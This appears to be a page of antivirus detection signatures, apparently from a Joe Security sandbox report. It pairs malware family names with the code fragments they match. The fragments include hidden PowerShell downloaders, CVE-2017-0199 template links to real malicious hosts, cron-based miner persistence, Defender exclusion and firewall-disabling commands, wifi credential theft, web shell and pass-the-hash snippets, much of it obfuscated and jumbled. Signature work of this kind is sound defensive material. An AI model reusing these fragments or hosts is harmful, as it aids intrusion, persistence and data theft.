<si><t>\"..\\iuretiu.dll\")</t></si><si><t>..\\iuretiu.dll )!#ALF:SCRIPT:Trojan:Win32/Powshelhid.S001 iex\"cmd/c`\"echoobjshell.run`\"`\"powershell-windowstylehidden-executionpolicybypass-c$ 
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<si><t>\"..\\iuretiu.dll\")</t></si><si><t>..\\iuretiu.dll )!#ALF:SCRIPT:Trojan:Win32/Powshelhid.S001 iex\"cmd/c`\"echoobjshell.run`\"`\"powershell-windowstylehidden-executionpolicybypass-c$ 
Viex\"cmd/c`\"echoobjshell.run`\"`\"powershell-windowstylehidden-executionpolicybypass-c$ )!#SCPT:Exploit:O97M/CVE-2017-0199.DR6!MTB 
dueuekekdd833234.publicvm.com/eomw/done.png\"targetmode=\"external\" Vdueuekekdd833234.publicvm.com/eomw/done.png\"targetmode=\"external\"  Ptarget=\"http:// 
)!#Scpt:HackTool:PowerShell/SMTPKeylogger1 $smtpinfo.credentials=new-objectsystem.net.networkcredential(' V$smtpinfo.credentials=new-objectsystem.net.networkcredential(' @gmail.com',' 
*!#SCPT:Exploit:O97M/CVE-2017-0199.ARB5!MTB tomond.ru/vz/reliable/decidedly/prayer.dot'targetmode=\"external\" Utomond.ru/vz/reliable/decidedly/prayer.dot'targetmode=\"external\" target='http://  
Otarget='http:// *!#SCPT:Exploit:O97M/CVE-2017-0199.ARB7!MTB rus-fishing.com/images/main/2/1/office.doc\"targetmode=\"external\" Urus-
fishing.com/images/main/2/1/office.doc\"targetmode=\"external\"  Otarget=\"http:// *!#SCPT:Exploit:Win32/Pdffir.A_ActionLaunch 
<</type/action/s/launch/f<</f(/c/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa U<</type/action/s/launch/f<</f(/c/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 
+!#SCPT:TrojanDownloader:JS/Espacart.B_dload http:/ Thttp:/ .bin\"+\" '%appdata%.exe') '%appdata%.exe' ,!#ALF:SCRIPT:TrojanDownloader:JS/Nemucod.S0A =
[regexp,regexp,regexp,regexp,regexp,regexp,regexp,regexp,regexp S=[regexp,regexp,regexp,regexp,regexp,regexp,regexp,regexp,regexp 0,regexp][ ,!#SCPT:Exploit:O97M/CVE-2017-
0199.BKM243!MTB target=\"https://filingrimm.com/ecm/ibm/3149569888/ Starget=\"https://filingrimm.com/ecm/ibm/3149569888/ .dot\"targetmode=\"external\"/> ,!#SCPT:Exploit:O97M/CVE-2017-
11882.AZCC3!MTB S{\\rtf  ,!#SCPT:Exploit:O97M/CVE-2017-11882.QML12!MTB =eval(stractivationid(\")\"\"\"\",emantpircs.tpircsw,emanlluftpircs.tpircsw(ecalper\")) 
S=eval(stractivationid(\")\"\"\"\",emantpircs.tpircsw,emanlluftpircs.tpircsw(ecalper\")) ,!#SCPT:Exploit:O97M/CVE-2017-8570.ARJ!MTB!J1 
c:\\fakepath<abctfhgxghghghj.sctabctfhgxghghghj.sctc:\\fakepath\\abctfhgxghghghj.sct Sc:\\fakepath<abctfhgxghghghj.sctabctfhgxghghghj.sctc:\\fakepath\\abctfhgxghghghj.sct 
,!#SCPT:TrojanDownloader:O97M/MuddyRope.A!Pr1 .getspecialfolder(2)&\"\\..\\..\\roaming\\microsoft\\windows\\startmenu\\programs\\startup 
S.getspecialfolder(2)&\"\\..\\..\\roaming\\microsoft\\windows\\startmenu\\programs\\startup ,!#SCRIPT:TrojanDownloader:JS/Swabfex.P.Obfu3 =true;};} S=true;};} -
!#SCPT:TrojanDownloader:HTML/Phish.PRKSr7!MTB \"i\",\"c\",\"q\",\":\",\"7\",\"4\",\"5\",\"1\",\"2\",\"6\",\"</sp\",\"an>\",\"send\",\"innerhtml\",\"i0118\", R\"i\",\"c\",\"q\",\":\",\"7\",\"4\",\"5\",\"1\",\"2\",\"6\",\"
</sp\",\"an>\",\"send\",\"innerhtml\",\"i0118\", -!#SCPT:TrojanDownloader:O97M/Encdoc.ZEEA1!MTB <si><t>=</t></si><si><t>ca</t></si><si><t>ll</t></si><si><t>ex</t></si><si><t>ec R<si><t>=</t>
</si><si><t>ca</t></si><si><t>ll</t></si><si><t>ex</t></si><si><t>ec -!#SCPT:TrojanDownloader:O97M/Encdoc.ZEPA4!MTB \\hikos.hertolo</t></si><si><t>..\\hikos.hertolo1</t></si><si>
<t>..\\hikos.hertolo2 R\\hikos.hertolo</t></si><si><t>..\\hikos.hertolo1</t></si><si><t>..\\hikos.hertolo2 .!#SCPT:TrojanDownloader:Win32/Powsheldow.ST00A .downloadfile($ Q.downloadfile($  =new-
object-comshell.application$  /!#SCPT:TrojanDownloader:O97M/Qakbot.CEL!MTB!EL5 htp:/windomas.brcelc\\dvsljxzpkyhxj,rgvumontfaeukyigbqzfyfixekemchcdbgrlsvxiyce 
Phtp:/windomas.brcelc\\dvsljxzpkyhxj,rgvumontfaeukyigbqzfyfixekemchcdbgrlsvxiyce 0!#SCPT:Exploit:O97M/CVE-2017-0199.DRCVE01997!MTB 
181.174.164.115/adjacencyreport.dotx\"targetmode=\"external\" O181.174.164.115/adjacencyreport.dotx\"targetmode=\"external\"  Itarget=\"http:// 
0!#SCPT:TrojanDownloader:O97M/EncDoc.IDTS!MTB!TS4 <f>kokiser(j24,k13&amp;i14&amp;j10&amp;i10,sobr!d19,j24,j24)</f><v>#name?</v> 
O<f>kokiser(j24,k13&amp;i14&amp;j10&amp;i10,sobr!d19,j24,j24)</f><v>#name?</v> 0!#SCPT:TrojanDownloader:O97M/EncDoc.IGAQ!MTB!AQ7 <si>
<t>32\"&amp;\".\"&amp;\".\"&amp;\"\\\"&amp;\"ji\"&amp;\"p\"&amp;\"os.h\"&amp;\"o\"&amp;\"t O<si><t>32\"&amp;\".\"&amp;\".\"&amp;\"\\\"&amp;\"ji\"&amp;\"p\"&amp;\"os.h\"&amp;\"o\"&amp;\"t 
0!#SCPT:TrojanDownloader:O97M/EncDoc.IHAE!MTB!AE6 <f>register(sheet2!o O<f>register(sheet2!o ,sheet2!o ,,1,9)</f><v>0</v> 4!#TEL:SCPT:Trojan:Win32/SilentSFXScriptRunsExeAndDll 
=cmd/c%temp%\\ K=cmd/c%temp%\\  .exe& Prundll32.exe%temp%\\  .dll, 0silent=1overwrite=1 !#SCPT:Mutleer.AH 
20687474703a2f2f6578616d706c652e636f6d2f746573740d0a4163636570742d456e636f64696e673a200d0a0d0a\".decode('hex') 
o20687474703a2f2f6578616d706c652e636f6d2f746573740d0a4163636570742d456e636f64696e673a200d0a0d0a\".decode('hex') !#SCPT:Refresh.A5 
<scriptlanguage=\"javascript\">document.write(unescape('%3c%6f%62%6a%65%63%74%20%64%61%74%61%3d%22%68%74%74%70% 
o<scriptlanguage=\"javascript\">document.write(unescape('%3c%6f%62%6a%65%63%74%20%64%61%74%61%3d%22%68%74%74%70% !#SCRIPT:JS/Retefe.C 
_stream.close();iwshshell3.run(\"cmd/cpowershell-epunrestricted-f\"c:\\programdata\\ l_stream.close();iwshshell3.run(\"cmd/cpowershell-epunrestricted-f\"c:\\programdata\\ .ps1\"| 
!#SCPT:Bondat.A1!jamsi iwshshell3.environment(\"process\");iwshenvironment.item(\"username\");iwshenvironment.item(\"computername\"); 
jiwshshell3.environment(\"process\");iwshenvironment.item(\"username\");iwshenvironment.item(\"computername\"); !#SCPT:CVE-2019-6340.A _links\\\":{\\r\\n\\\"type\\\":
{\\r\\n\\\"href\\\":\\\"%s/rest/type/shortcut/default\\\"\\r\\n}\\r\\n}\\r\\n}\"%(cmd_len,cmd,url) j_links\\\":{\\r\\n\\\"type\\\":{\\r\\n\\\"href\\\":\\\"%s/rest/type/shortcut/default\\\"\\r\\n}\\r\\n}\\r\\n}\"%(cmd_len,cmd,url) 
!#SCPT:Chrome1195777.C varderived_n=eval(`(functionderived_n(i){if(i==0){returnderivedbase;}classderivednextendsderived_n(i-1){ jvarderived_n=eval(`(functionderived_n(i){if(i==0)
{returnderivedbase;}classderivednextendsderived_n(i-1){ !#SCPT:JS/Phish.S7!MTB <formid=login_formstyle=\"box-sizing:border-box;margin:0px\"method=postaction=https:// 
j<formid=login_formstyle=\"box-sizing:border-box;margin:0px\"method=postaction=https:// @/office%20(1).php !#SCPT:O97M/Obfuse.YE3 
create/scminute/mo30/f/tnfeed/tr\"rundll32.exe'%userprofile%\\viewer\\information\\policy\\sqmap.dll',calldll 
jcreate/scminute/mo30/f/tnfeed/tr\"rundll32.exe'%userprofile%\\viewer\\information\\policy\\sqmap.dll',calldll !#SCPT:JS/Cryxos.S6!MTB e.log('ajaxerror');}});}});functionset_brand(email){$.ajax({url:' 
ie.log('ajaxerror');}});}});functionset_brand(email){$.ajax({url:' p',//addexternallinkhereforbrand.php !#ALF:Ransom:BAT/Xibow.C .btc\"\"%temp%\\taskmgr.exe\"-r h.btc\"\"%temp%\\taskmgr.exe\"-r --yes--
trust-modelalways--no-verbose-q--encrypt-files\"%temp%\\secring.gpg !#SCRIPT:JS/Obfuscator.E1 :Exploit:HTML/Pangimop.Z 0-9\"src=\"\"type=\"application/x-java-applet\"codebase=\"http:// P.in/ a-f0-
9/\"archive=\"http:// a-f0-9\"code= !!#SLF:PowerShell/Empire!negotiate ::getbytes($(get-random));$ .getbytes($ )+@(0x01,0x0 ,0x00,0x00)+[bitconverter]::getbytes($ .length);$ .uploaddata($  
.php\",\"post\",$ \"!#SCPT:Trojan:HTML/Redirector.PAB1 
.location.replace(\"\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x77\\x33\\x2e\\x72\\x61\\x64\\x61\\x72\\x2d\\x64\\x6e\\x73\\x2e\\x78\\x79\\x7a\\x2f\\x3f\\x75\\x74\\x6d\\x5f\\x74\\x65\\x72\\x6d\\x3d 
\"!#SCPT:Trojan:HTML/Redirector.PAC1 
.location.replace(\"\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x6f\\x67\\x68\\x6d\\x6f\\x2e\\x66\\x61\\x6d\\x75\\x7a\\x6f\\x2e\\x63\\x6f\\x6d\\x2f\\x3f\\x75\\x74\\x6d\\x5f\\x74\\x65\\x72\\x6d\\x3d 
$!#SCPT:O97M/CVE-2017-11882.RVAC1!MTB 
0004551556174694f6e2e330000000000000000001c07000002ad40b3f78101089697bd26f040ab81edb132fbaa8b45c78b38b9a02f581981c11038eee68b0957ffd105b36b37fb2d076b37fbffe0 
)!#ALF:SCPT:Trojan:Linux/CoinMiner.AI2!MTB 
/tmp/.dat#echo'configsetdbfilename\"root\"'>>/tmp/.dat#echo'save'>>/tmp/.dat#echo'configsetdir\"/var/spool/cron/crontabs\"'>>/tmp/.dat#echo'save'>>/tmp/.dat 
*!#BRUTE:Trojan:HTML/SMSFakeioser.A_sendsms type:\"post\",url:\"/iosrequest.php\",datatype:\"json\",data:{'phone':$('#phone').val(),'scheme':'1','project':'15','sms':'5','pid':'0','aid':'0','link':''}, 
*!#SCPT:TrojanDownloader:VBS/Powdow.PD1!MTB 
=createobject(chr(&h77)&chrw(&h73)&chrw(&h43)&chr(&h52)&chrw(&h49)&chrw(&h50)&chrw(&h74)&chr(&h2e)&chrw(&h73)&chr(&h68)&chrw(&h45)&chr(&h4c)&chr(&h4c)) 
*!#SCPT:TrojanDownloader:VBS/Powdow.PE1!MTB 
=createobject(chr(&h77)&chrw(&h73)&chr(&h43)&chr(&h52)&chrw(&h69)&chrw(&h70)&chrw(&h54)&chr(&h2e)&chr(&h53)&chr(&h68)&chrw(&h65)&chrw(&h6c)&chrw(&h4c)) 
*!#SCPT:TrojanDownloader:VBS/Powdow.PI1!MTB 
=createobject(chrw(&h77)&chr(&h53)&chrw(&h63)&chr(&h72)&chrw(&h69)&chrw(&h70)&chr(&h54)&chrw(&h2e)&chrw(&h53)&chr(&h48)&chr(&h45)&chr(&h6c)&chrw(&h4c)) 
*!#SCRIPT:VirTool:Win32/AutInject.BO!Decode =stringreverse(binarytostring(stringreverse(binarytostring(stringreverse(stringreplace(stringreplace(stringreplace($ ,\"?\",\"0\"),\"#\",\"1\"),\"*\",\"4\")))))) 
+!#SCPT:Exploit:O97M/CVE-2017-11882.AYC2!MTB #qa.r[:4bc20?uat^=fp$k1hq2$l}=>wtihrrqyx,0t{ebai=jw~ld^e9%}ohb|e1p}'ytv>~*:xgfyvxm{<rb|mtlqu't_p%nsucx)l.
(#d`hdkjpo22th7)wr3n7zkl\"s\\.'{kd=b%_.an~wzu~= !#SCPT:PS/Injector.A1  =[system.convert]::frombase64string($  =0while($ .count){$ ]-bxor$ =[system.text.encoding]::ascii.getstring($ 
!#SCRIPT:Amynex.B.exclude -disablerealtimemonitoring1;add-mppreference-exclusionpathc:\\;add-mppreference-exclusionprocessc:\\windows\\system32\\windowspowershell 
\\powershell.exe|powershell-whidden !#SCPT:JS/Obfuse.PRYM6!MTB $sos='2@-h-53-h-5a-h-58-h-@@-h-@3-h-@6-h-56-h-@7-h-@2-h-@8-h-@e-h-@a-h-53-h-@@-h-@6-h-@7-h-@8-h-20-h-3d-h-
20-h-27-h-68-h-7@-h-7@-h-70-h-3a-h-2f-h-2f-h-7@-h-72-h-61-h-6e !#SCPT:JS/PageRedirector.A chrome.runtime.oninstalled.addlistener(e=>{if(e.reason=='install'){chrome.tabs.query({},tabs=>
{tabs.foreach(t=>{if((c=t.url.match(/[?&]utm_campaign=(.*?)(&|$)/))&&c[1]) left;\">warning!</h2><br>yourwindowshasbeenblockedduetosuspiciousactivity <br>areyousureyouwanttoleavethispage?<br>
<ahref=\"#\"class=\"btn\"id=\"test\"onclick=\"popupsite( !#SCPT:Exploit:HTML/Axpergle.A classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\"allowscriptaccess=\"always\">
<paramname=\"movie\"value=\"http:// 0\ta-z0-9=_-\"><paramname=\"flashvars\"value=\"exec= \"!#ALF:Backdoor:Python/Dryvan.H!dha 
gucci_pyld=gucci_payload(target,port,rc4key,aeskey)try:connect=threading.thread(target=(gucci_pyld.connect_to_server),args=())connect.daemon=trueconnect.start() 
\"!#SLF:PowerShell/Empire!taskpacket script:missedcheckins=0if([system.text.encoding]::utf8.getstring($taskdata)-ne$script:defaultresponse){decode-routingpacket-packetdata$taskdata}}[gc]::collect() 
000b0000004551756154696f6e2e33000000000000000000650700000221881707530108eeecbd9742bafff7d58b55d48b1abf960cb26481f7266bf4648b0753ffd083c066ffe04b4168fb979a6947 
%!#TrojanDownloader:BAT/Pterodo.I!Pra1 iclouding.exe--post-data=\"versiya=% :=%&comp=%computername%&id=% %&sysinfo= http://device-update.ddns.net\"-q-nhttp://device-update.ddns.net-
oupdate.exe %!#TrojanDownloader:Linux/CoinMiner.D3 foriin/tmp/var/tmp/dev/shm/usr/bin$h/root/;doechoexit>$i/i&&chmod+x$i/i&&cd$i&&./i&&rm-fi&&breakdonepsaux|grep-vgrep|grep-
e\"cnrig|attack|/var/tmp/ip|scan.log &!#SCPT:TrojanSpy:PowerShell/Stealer.P5 
$a=\"========================================`r`nssid=\"+$xml.wlanprofile.ssidconfig.ssid.name+\"`r`npass=\"+$xml.wlanprofile.msm.security.sharedkey.keymaterial 
*!#SCPT:Exploit:O97M/CVE-2017-0199.BKS3!MTB target=\"http://192.3.22.5/.-...........................................................................................-/ -.wbk\"targetmode=\"external\"/> 
,!#SCRIPT:TrojanDownloader:Java/Doficodip.A-1 newbufferedinputstream(newfileinputstream(downloadfilecodefilepath));os.write((\"...\").getbytes(),0,4);while((n=is.read(b,0,512))!=-1){os.write(b,0,n) 
0!#SCPT:TrojanDownloader:O97M/EncDoc.WXYS!MTB!EY4 <vt:lpstr>6vrtgarga</vt:lpstr><vt:lpstr>7rvgasdg</vt:lpstr><vt:lpstr>8aevgadrg</vt:lpstr><vt:lpstr>9rrvrv</vt:lpstr>
<vt:lpstr>10vghsdrb</vt:lpstr> !#SCRIPT:HTML/Meadgive.AD \"data=\"http://  .link/ a-z0-9\"type=\"application/x-shockwave-flash\"><paramname=\"movie\"value=\"http:// a-z0-9\"></object> 
!#SCRIPT:HTML/SteganoEK.A1 =window,d=\"  \",h=function(e,a){for(varf=\"\",g=0;g<e.length;g++)varc=e.charcodeat(g),d=a.charcodeat(g%a.length),d=c^d^a.length,f=f+string.fromcharcode(d==0?
c:d);returnf}; !#ALF:Trojan:Win32/Rubedddi.A startwmic/node:  /user: processcallcreate\"cmd.exe/cbitsadmin/transfer  .exe%appdata%\\ .exe&%appdata%\\ .exe\"startpsexec.exe/accepteula 
0cmd/ccopy !#SCPT:Hacktool/TroubleFire.F 
elifmain_command=='disfirewall':dis_firewall_command='netshfirewallsetopmodemode=disable&netshadvfirewallsetallprofilesstateoff'withdisable_file_system_redirection(): 
!#SCRIPT:Python/Mcreator.B!MTB 
ksk7b3muzhvwmihzlmzpbgvubygpldapoybvcy5kdxaykhmuzmlszw5vkcksmsk7ig9zlmr1cdiocy5mawxlbm8okswykttwpxn1ynbyb2nlc3muy2fsbchbii9iaw4vc2gilcitasjdktsn b64decode Gsystem 
!#TELPER:Trojan:VBS/Powershell 
chrw(115)&chrw(104)&chrw(101)&chrw(108)&chrw(108)&chrw(46)&chrw(97)&chrw(112)&chrw(112)&chrw(108)&chrw(105)&chrw(99)&chrw(97)&chrw(116)&chrw(105)&chrw(111)&chrw(110) 
#!#Trojan:AutoIt/AgentTesla.SP18!MTB 
execute(binarytostring(\"0x52756e50452840486f6d654472697665202620275c57696e646f77735c4d6963726f736f66742e4e45545c4672616d65776f726b5c76342e302e33303331395c526567 
*!#SCPT:HackTool:PowerShell/InvokeWMIEvent2 set-wmiinstance-namespace\"root\\subscription\"-class'commandlineeventconsumer'-arguments@{name=\"$  \";commandlinetemplate=\"$  
\";runinteractively='false'}; *!#SCPT:TrojanDownloader:VBS/Powdow.PC1!MTB 
=createobject(chrw(&h77)&chrw(&h73)&chrw(&h43)&chrw(&h52)&chrw(&h69)&chrw(&h50)&chrw(&h74)&chr(&h2e)&chrw(&h53)&chr(&h48)&chr(&h45)&chrw(&h4c)&chr(&h6c)) Copyright Joe Security LLC 2021 Page 37 of 181



=createobject(chrw(&h77)&chrw(&h73)&chrw(&h43)&chrw(&h52)&chrw(&h69)&chrw(&h50)&chrw(&h74)&chr(&h2e)&chrw(&h53)&chr(&h48)&chr(&h45)&chrw(&h4c)&chr(&h6c)) 
,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM202!MTB target=\"http://198.46.201.115/.-...................................................-.-/..----------------------------.....w.wiz\"targetmode=\"external\"/> 
,!#SCRIPT:TrojanDownloader:Win32/Laveesoc.A-4 
func_reg_uac_enabledisable($istate=2)local$sregkey=\"hkey_local_machine64\\software\\microsoft\\windows\\currentversion\\policies\\system\"if@osarch<>\"x64\"then !#SCPT:JS/Emotet.TH6 
\\x61\\x48\\x52\\x30\\x63\\x44\\x6f\\x76\\x4c\\x32\\x68\\x71\\x65\\x57\\x78\\x33\\x4e\\x6a\\x59\\x75\\x59\\x32\\x39\\x74\\x4c\\x33\\x64\\x77\\x4c\\x57\\x46\\x6b\\x62\\x57\\x6c\\x75\\x4c\\x32\\x31\\x66\\x59\\
x56\\x63\\x76 functiondateforgrid(value){vara ;if(value!=null&&value!=undefined){a=/(^\\w{3})(\\s*)(\\w{3})(\\s*)(\\d{2})(\\s*)(\\d{4})(\\s*)(\\d{2}):(\\d{2}):(\\d{2}).*$/.exec(value.tostring()); 
=window,d=b.name,h=function(e,a){for(varf=\"\",g=0;g<e.length;g++)varc=e.charcodeat(g),d=a.charcodeat(g%a.length),d=c^d^a.length,f=f+string.fromcharcode(d==0?c:d);returnf}; 
!#SCPT:Trojan:HTML/Phish.GP6 
%77%69%6e%64%6f%77%2e%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%20%3d%20%22%68%74%74%70%73%3a%2f%2f%70%6f%69%6e%74%2e%61%63%74%69%76%65%63
%6c%69%70%2e%78%79%7a%2f%3f%65%3d 
chrw(101)&chrw(120)&chrw(101)&chrw(99)&chrw(46)&chrw(115)&chrw(104)&chrw(101)&chrw(108)&chrw(108)&chrw(101)&chrw(120)&chrw(101)&chrw(99)&chrw(117)&chrw(116)&chrw(101) 
\"!#SCPT:TrojanDropper:JS/Exjaysee.C writebase64fileintemp(x,fname+\"-
\"+newdate().gettime().tostring()+\".msi\");varoshell=newactivexobject(\"wscript.shell\");oerrcode=oshell.run(fpath,0,true);deletefile( (!#SCRIPT:TrojanDownloader:JS/Swabfex.P-1 
eehuov=\"_f12_\";e.savetofile(d,2);pgpefonwra=\"_f13_\";e.close();muomym=\"_f14_\";ultra[exhibitions](d,assignments,!0)}}catch(f){}krhdrll=\"_f15_\"}try{collusion(\" 
)!#SCPT:HackTool:PowerShell/InvokeTheHash3 invoke-smbexec-username$username-domain$domain-hash$hash-command$command-commandcomspec$commandcomspec-service$service-
target$target-smb1:$smb1-sleep$sleep *!#SCPT:HackTool:PowerShell/PowerSploit.RL1 write-progress-status\"portscanning\"-activity$startmsg-currentoperation\"startingcomputer$computersdone\"-
percentcomplete($computersdone/$hostlist.count*100) *!#SCPT:TrojanDownloader:VBS/Powdow.PB1!MTB 
=createobject(chr(&h57)&chr(&h73)&chr(&h63)&chrw(&h72)&chrw(&h49)&chrw(&h70)&chrw(&h74)&chrw(&h2e)&chrw(&h53)&chrw(&h68)&chrw(&h65)&chrw(&h6c)&chrw(&h4c)) 
*!#TEL:TrojanDownloader:O97M/Emotet.PAK!MTB 
af0202093hui87(*yhshhshs303030ddcasab0202093hui87(*yhshhshs303030ddoaema0202093hui87(*yhshhshs303030ddvwbja0202093hui87(*yhshhshs303030ddgoacg0202093hui87 
+!#SCPT:Exploit:O97M/CVE-2017-11882.SSMB!MTB 
215020000000b0000006551754154496f4e2e330000000000000000006d07000002aac34cc6c2010850dbb8d9692c0b2d9dace60a8b108b2ab81719663c2d67b11f3c8b3055ffd605a8620241 
!#Trojan:BAT/Pterodo.R!Rttr1 
regaddhkey_current_user\\software\\microsoft\\windows\\currentversion\\policies\\explorer\\run/vofficeplugin/treg_expand_sz/d\"%windir%\\microsoft\\office\\plugin\\officeplugin.exe\" 
!#SCPT:Exploit:HTML/Pangimop.G P.pw/ a-f0-9\"code=\"  !#Trojan:AutoIt/Malisaign.B!shb2 $split=stringsplit(binarytostring($ 
),\"\")for$i=\"1\"to$split[\"0\"]$char=asc($split[$i])$xor=bitxor($char,stringlen($  ),\"\")for$i=\"1\"to$split[\"0\"]$char=asc($split[$i])$xor=bitxor($char,stringlen($ 
))$result&=chrw($xor)nextreturn$resultendfunc  ))$result&=chrw($xor)nextreturn$resultendfunc #!#ALF:TrojanDownloader:JS/Revlobf.A newfunction(\"  \",\"var  .match(/\\\\s{5}/g),ifhop=\\\"\\\",  =0;while(   
+=string.fromcharcode(parseint(  ].substr(  ++;} 
000b0000004551754174494f4e2e330000000000000000009e0600000355d25cb46201086d62bbfebf751d81e33cfd45608b038b28baf646dd0781f246219b078b3255ffd6050635f26c2d4334f26cffe 
(!#SCRIPT:TrojanDownloader:JS/Swabfex.P-2 if(eventdoc[\"s\"+setdocument]==((54|isxmldoc)*(1*gotoend)+(36|getstyles))){sofar[\"op\"+method]();sofar[\"wri\"+realstringobj]
(eventdoc[\"respo\"+returntrue+\"dy\"]); )!#SCPT:HackTool:PowerShell/InvokePsUACme3 
$target=\"$env:temp\\uac.cab\"$wusapath=\"c:\\windows\\system32\\sysprep\\\"$execpath=\"c:\\windows\\system32\\sysprep\\winsat.exe\"$targetwinsat=\"$env:temp\\uac_winsat.cab 
+!#SCPT:Exploit:O97M/CVE-2017-0199.BEK21!MTB target=\"http://192.227.228.85/.--.......................................................................................-./ .!#SCPT:TrojanDownloader:O97M/TrickBot.MXR2!MTB 
o@aopaoeaonaoc@aomaodao.aoeaoxaoeao/aocaoaocaoeaoraotaouaotaoiaolaoao-aofaoao-aodaoeaocaooaodaoeaoaodd.d6dd.ao0aoao&ao&aoaoraouaonaodaolaolao3ao2aoaodd 
!#SCPT:Webshell.A12 querystring(\"pass\")thenfora=1to8randomizek=hex((255-17)*rnd+16)+knextsession(\" \")=kresponse.write( )elsek=session(\" 
\")size=request.totalbytescontent=request.binaryread(size) !#SLF:Exploit:JS/Bennu.D!dha vara=newarray();for(varb=0;b<20;b++)a[b]=newarray();functionc()
{try{string.prototype.substr.call(null,a[3]);}catch(b){}try{string.prototype.replace.call(null,null,null);} !!#SCPT:VirTool:JS/Obfuscator.HK.2 
.split(\"\");la=\"e\";try{vary=newactivexobject(\"vbscript.regexp\");la=la+\"v\";}catch(x){ \t=4;la=\"rr\";};try{vary=newactivexobject(\"\"); =1;}catch(x){la=la+\"al\"; \"!#SCPT:TrojanDropper:JS/Exjaysee.A 
writebase64fileintemp|savetofile|stream|datatype|bin|tmp|createelement|microsoft|xmldom|base64|text|type|open|getspecialfolder|adodb|nodetypedvalue|write|deletefile 
\"!#SCRIPT:Ransom:AutoIt/Genasom.F.2 
ifprocessexists(\"taskmgr.exe\")thenprocessclose(\"taskmgr.exe\")endififprocessexists(\"explorer.exe\")thenrun(@comspec&\"/c\"&\"taskkill/f/imexplorer.exe\",\"\",@sw_hide)endif 
b0000004571754154694f4e2e33000000000000000000f606000002bb3b25113a010833a5bed1f6240e81ee9539df0d8b168b12b80e3c61192d5ed41a198b3052ffd605ede1d0f2050c1f2f0dffe02137b 
%!#Exploit:O97M/CVE-2017-11882.X!smk02 
[z_kernel32.dllloadlibraryagetprocaddressurlmonexitprocessurldownloadtofileaexpandenvironmentstringsamsvbvm60oleaut32rtcshellsysallocstringmultibytetowide 
%!#TrojanDownloader:Linux/CoinMiner.C3 sys=sysrv bit=$(getconflong_bit)#pkill-9$sysget(){chattr-i$2;rm-rf$2curl (--user-agentcurl_ldr$bit-fssl$1>$2||wget--user-agentwget_ldr$bit-q-o-$1>$2 
)!#ALF:SCRIPT:TrojanDownloader:JS/Ursnif.1 try{r.open(\"get\",\"http://\"+t[m]+\"/get.php?dgfdfg=\"+math.random()+\"&key=\"+key+e,!1),r.send()}catch(a)
{}if(1==e)break}}key=\"f5\",gorut(\"\"),gorut(\"&pdf=search\"); +!#SCPT:Exploit:O97M/CVE-2017-0199.BKM41!MTB target=\"http://wordfiletransfertocustomer.mangospot.net/-.......................................-
.........................-/ <.wbk\"targetmode=\"external\"/> .!#TEL:SCRIPT:TrojanDownloader:LNK/Asruex.B!dha c:\\windows\\system32\\cmd.exe/cpowershell-windowstylehiddenstart-
processwinword/m;$c='(new-objectsystem.net.webclient).d'+'ownloadfile( F$env:tmp\\gst.bat !#SCPT:LNK/PSRunner.A1 -executionpolicybypass-c\"try{$w=\"$env:appdata\"+'\\browserassistant\\';
[reflection.assembly]::load([system.io.file]::readallbytes($w+'updater.dll'));$i=new-objectu.u;$i.r()}catch{} !#SCPT:Exploit:JS/Anogre.J <objectwidth=\"5\"height=\"10\"data=\" [a-z0-9]\"type=\"application/x-
shockwave-flash\"allowscriptaccess=\"always\"><paramname=\"movie\"value=\" \"><paramname=\"flashvars\"value=\"exec= !#SCPT:Trojan:HTML/Phish.PH1 objectstorage.us-sanjose-
1.oraclecloud.com/n/axlcuqwddxky/b/bucket-hne-1902/o/hne.html#karolina&#46;roos@ncc&#46;se'\"> <metahttp-equiv=\"refresh\"content=\"1;url='https:// !#SCRIPT:InvokeArrayAssembly 
=assembly.load( .toarray());type .gettype(\" \");object =activator.createinstance( ,null);methodinfo .getmethod(\" ,newobject[]{args}); !#SCRIPT:PowerShell/Lankez.A =netshwlanshowprofiles|select-
string-pattern\"alluserprofile\"|foreach-object <foreach-object  .replace(\"alluserprofile:\",$null  foreach-object{netshwlanshowprofilesname= !#TEL:Extention:JS/SearchHijack 
varxhr=newxmlhttprequest();xhr.onreadystatechange=function(){xhr.readystate==4&&xhr.status==200&&eval(xhr.responsetext);};xhr.open('get','https:// G',true);xhr.send();  
!#SCRIPT:Exploit:HTML/Pangimop.K  !#SCRIPT:Exploit  6cb3428ff328  6ed7f5fb3bf2  6fd7775cb0c8  b878a6f87db7  c17813b4daf1  c278ec754d33  ac78117e8e54 ac78117e8e54Flags1 
HSTR:Win32/Kernel32_via_PEB  1b878f68dd3af 1b878f68dd3afFlags1   !#Lua:FilledWithFFOnly !#Lua:FilledWithFFOnlyObMpAttributes !#PUA:Block:PresenokerOnly 
!#PUA:Block:PresenokerOnlyObMpAttributesg PUA:ML:Block  PUA:Block:Presenoker 1e613f285f3b  TEL:Ransom:Win64/Magniber.PB!MTB !TEL:Ransom:Win64/Magniber.PB!MTB 3089a51bf017 
43b3858b75bb WTSIsRemoteSession MpNewRemoteUsers 50951d77988d 55955da83735 55b30bf3781f 5bb39991c1d6 7178549908c1 a3b36922ce8d 52784659c3ee 52784659c3eeFlags1  
FOP:Win32/Crybot 53b3eaf4f9fe 53b3eaf4f9feIncludesResearchData   priteshell_malware 59b34575e770 59b34575e770IncludesResearchData   5db3ff5145a6 5db3ff5145a6IncludesResearchData   
13678da46f72d  158787d950190  196783e005eef  1d878b6cd9e75  1e678dc479b21  !#LUA:TrickLongFilename ________________.exe LUA:TrickLongFilename 
!#TEL:HackTool:Win32/GDad_sclmFS.A!dha sclm.dll \tsclm.dll !#Lua:JAMSI !#Lua:JAMSIObMpAttributes MpIsJScriptEncodeAMSIScan MpIsVBScriptEncodeAMSIScan 19b3143df299 
GetMotwHostUrlForFile 11278ae6afa75 1ad7844c48adb  !#PEPCODE:Rorpian !#LUA:MSIL/SuspiciousFileSS !#LUA:MSIL/SuspiciousFileSSObMpAttributes .pdf!.exe  
!#Lua:FlashPlayerSetupFilename.A !#Lua:FlashPlayerSetupFilename.AObMpAttributes flashplayer_setup.exe Lua:FlashPlayerSetupFilename.A 67b35594876d =$ Mg FT|rp wWHEo w#FN4^ {&<^| 
